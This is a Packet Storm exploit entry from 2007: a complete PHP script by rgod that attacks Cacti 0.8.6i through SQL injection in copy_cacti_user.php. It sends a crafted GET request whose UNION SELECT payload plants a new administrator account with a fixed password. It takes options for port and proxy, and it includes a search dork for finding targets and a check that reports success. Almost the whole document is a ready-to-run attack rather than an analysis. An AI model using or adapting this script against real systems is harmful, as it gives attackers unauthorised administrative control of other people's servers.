cacti1-086i.txt

2007-01-20T00:00:00
ID PACKETSTORM:53802
Type packetstorm
Reporter rgod
Modified 2007-01-20T00:00:00

Description

                                        
                                            `<?php  
print_r('  
---------------------------------------------------------------------------  
Cacti 0.8.6i "copy_cacti_user.php" sql injection create new admin exploit  
by rgod  
dork: intitle:"login to cacti"  
mail: retrog at alice dot it  
site: http://retrogod.altervista.org  
---------------------------------------------------------------------------  
');  
  
if ($argc<3) {  
print_r('  
---------------------------------------------------------------------------  
Usage: php '.$argv[0].' host path OPTIONS  
host: target server (ip/hostname)  
path: path to Cacti  
Options:  
-p[port]: specify a port other than 80  
-P[ip:port]: specify a proxy  
Example:  
php '.$argv[0].' localhost /cacti/ -P1.1.1.1:80  
php '.$argv[0].' localhost / -p81  
---------------------------------------------------------------------------  
');  
die;  
}  
error_reporting(0);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout",5);  
  
function quick_dump($string)  
{  
$result='';$exa='';$cont=0;  
for ($i=0; $i<=strlen($string)-1; $i++)  
{  
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))  
{$result.=" .";}  
else  
{$result.=" ".$string[$i];}  
if (strlen(dechex(ord($string[$i])))==2)  
{$exa.=" ".dechex(ord($string[$i]));}  
else  
{$exa.=" 0".dechex(ord($string[$i]));}  
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}  
}  
return $exa."\r\n".$result;  
}  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
  
function sendpacketii($packet)  
{  
global $proxy, $host, $port, $html, $proxy_regex;  
if ($proxy=='') {  
$ock=fsockopen(gethostbyname($host),$port);  
if (!$ock) {  
echo 'No response from '.$host.':'.$port; die;  
}  
}  
else {  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {  
echo 'Not a valid proxy...';die;  
}  
$parts=explode(':',$proxy);  
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";  
$ock=fsockopen($parts[0],$parts[1]);  
if (!$ock) {  
echo 'No response from proxy...';die;  
}  
}  
fputs($ock,$packet);  
if ($proxy=='') {  
$html='';  
while (!feof($ock)) {  
$html.=fgets($ock);  
}  
}  
else {  
$html='';  
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {  
$html.=fread($ock,1);  
}  
}  
fclose($ock);  
}  
  
$host=$argv[1];  
$path=$argv[2];  
$port=80;  
$proxy="";  
  
for ($i=3; $i<$argc; $i++){  
$temp=$argv[$i][0].$argv[$i][1];  
if ($temp=="-p")  
{  
$port=str_replace("-p","",$argv[$i]);  
}  
if ($temp=="-P")  
{  
$proxy=str_replace("-P","",$argv[$i]);  
}  
}  
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}  
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}  
  
/*  
vulnerable script:  
...  
if (! isset($_SERVER["argv"][0])) {  
die("This script is only meant to run at the command line.\n");  
}  
if (empty($_SERVER["argv"][2])) {  
die("\nSyntax:\n php copy_cacti_user.php <template user> <new user>\n\n");  
}  
  
$no_http_headers = true;  
  
include(dirname(__FILE__) . "/include/config.php");  
include_once($config["base_path"] . "/lib/auth.php");  
  
$template_user = $_SERVER["argv"][1];  
$new_user = $_SERVER["argv"][2];  
  
print "Cacti User Copy Utility\n";  
print "Template User: " . $template_user . "\n";  
print "New User: " . $new_user . "\n";  
  
$user_auth = db_fetch_row("select * from user_auth where username = '$template_user'");  
if (! isset($user_auth)) {  
die("Error: Template user does not exist!\n\n");  
}  
  
print "\nCopying User...\n";  
  
@user_copy($template_user, $new_user);  
  
$user_auth = db_fetch_row("select * from user_auth where username = '$new_user'");  
if (! isset($user_auth)) {  
die("Error: User not copied!\n\n");  
}  
  
print "User copied...\n";  
...  
  
if register_argc_argv = on you can run the script and inject sql commands in $template_user argument  
(magic_quotes_gpc is not applied to _SERVER array... )  
  
this exploit creates a new admin user with username suntzu and password suntzu  
you will set your own password (I left the 'force password change' option on  
*/  
  
$sql="111111111'/**/UNION/**/SELECT/**/1,'admin','".md5("suntzu")."',0,'Administrator','on','on','on','on','on',1,1,1,1,1/*";  
$packet ="GET ".$p."copy_cacti_user.php?1+$sql+suntzu HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
sendpacketii($packet);  
if (eregi("User copied",$html)){  
echo "exploit succeeded...";  
}  
elseif (eregi("user does not exist",$html)){  
echo "query error...";  
}  
elseif (eregi("only meant to run at the command line",$html)){  
echo "register_argc_argv = off here, exploit failed...";  
}  
?>  
`